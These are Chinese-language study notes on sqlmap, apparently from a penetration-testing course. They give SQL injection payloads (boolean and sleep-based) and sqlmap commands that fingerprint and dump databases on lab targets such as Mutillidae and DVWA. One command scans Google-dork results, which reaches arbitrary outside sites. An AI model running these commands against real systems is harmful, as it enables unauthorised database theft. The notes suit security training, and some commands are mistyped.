任务093:SQLMAP- 自动注入 笔记
1. sqlmap介绍
-
介绍
-
开源sql注入漏洞检测,利用
-
检测动态页面中get/post参数,cookie,http头
-
数据榨取
-
文件访问
-
操作系统命令执行
-
引擎强大,特性丰富
-
Xss漏洞检测
-
-
五种漏洞检测技术
-
基于布尔的盲注检测
- ’ and 1=1
-
基于时间的盲注检测基于错误的检测
- ’ and (select * from (select(sleep(20)))a)–+
-
基于UNION联合查询的检测
- 适用于通过循环直接输出联合查询结果,否则只显示第一项结果
-
基于堆叠查询的检测
-
;堆叠多个查询语句
-
适用于非select的数据修改、删除的操作
-
-
支持的数据库管理系统DBMS
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
-
3. 其他特性
-
数据库直接连接-d与burpsuite、google结合使用,支持正则表达式限定测试目标
- 不通过SQL注入,制定身份认证信息、P、端口
-
Get、post、cookie、Referer、UserAgent (随机或指定)限速: 最大并发、延迟发送
- Cookie过期后自动处理Set-Cookie头,更新cookie信息
-
支持Basic,Digest,NTLM,CA身份认证
-
数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称
-
文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表
-
与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门
实际操作
显示
-h或是--help 都是查看基本常用的参数
-hh 查看详细参数
-v 查看返回结果信息0-6,6是查看返回最详细信息0是最低。默认是1
指定目标
-d 直接连接数据库,当客户端来使用
-u “URL地址” 定一个URL这个URL必须是带变量的像http://www.site.com/vuln.php?id=1
-l 文件 导入一个文件可以来自Burp和WebScarab代理记录的文件
r-x xxx.xml 来自远程站点地图(.xml)文件的x站点地图url解析目标
-m 要指定的文件 多个目标URL保持到文件里-m就会用文件里的
-r 请求信息的文件 叫请求信息保存成一个文件-r就会读取文件里的请求信息进行注入探测
-g 用谷歌搜索引擎访问然后在进行扫描
-c 文件名 叫要sqlmap执行的参数保存的到文件里-c就会用文件里的内容
下面就用上面的参数进行演示
靶机metasploitable-linux-2.0.0里的phpMyAdmin里的靶机
1. 命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -f
-p是要指定的变量名之对这个变量进行检查探测
-f是检查检查指纹信息
总体来说就是检查这个URL里的username进行指纹检查看见查
2. 查看读取数据库账号
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --usere
--usere是查看读取数据库账号
3. 查看数据库的版本
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --banner
–banner就是查看数据库的版本类型的
4. 查看你数据管理系统有多少库显示库名
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --dbs
–dbs查看你数据管理系统有多少库显示库名
5. 查看原数据库
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username --schema
–schema查看原数据库 前提的有权限查询schema库的权限
6. 查看你所以的内容
命令
sqlmap -u "http://192.168.52.205/mutillidae/index.php?page=user-info.php&username=admin&password=11&user-info-php-submit-button=View+Account+Details" -p username -a
-a是查看你所以的内容
7. 直接连接数据库进行查询查询的更快,但是你得的数据库帐号密码 列:sqlmap -d “mysql://帐号:密码@192.168.20.10:3306/dvwa” -a
也可以用其他参数如–dbs了
靶机没有密码输入帐号直接就可以连接了
命令
sqlmap -d "mysql://root:@172.16.103.128:3306/dvwa" -a
8. 扫描 google 搜索结果这个是需要翻墙的
命令
sqlmap.py -g "inurl:\".php?id=1\""
-g就是用google 搜索结果
9. 用 url 列表文件进行扫描
命令
sqlmap -m 文件名
-m是指定一个文件文件里存放多个url地址然后在进行文件里的多个url进行选择性扫描
10.使用和请求文件和 POST文件方法进行扫描
用burp或者用其他工具进行抓取请求内容然后保存一个文件里
帐号密码几乎都是用POST进行传输的很少用UIL进行传输url里没有传输帐号密码那么就在POST请求里
10.1使用http请求文件
这个后面可以跟参数的
命令
sqkmap -r 请求保存的文件 -a
10.2使用burpsuite log文件
用burp工具的请求的过程保存成一个log文件然后在用sqlmao读取log文件然后在漏洞的注入
保存log文件
命令
sqlmap -l a
扫描会非常长后面可以加参数
11. HTTPS
命令
sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl
12.配置文件进行扫描
就是叫要扫描的URL保存到一个文件里然后sqlmap在读取文件里的URL里的目标地址进行扫描
命令
sqlmap -c sqlmap.txt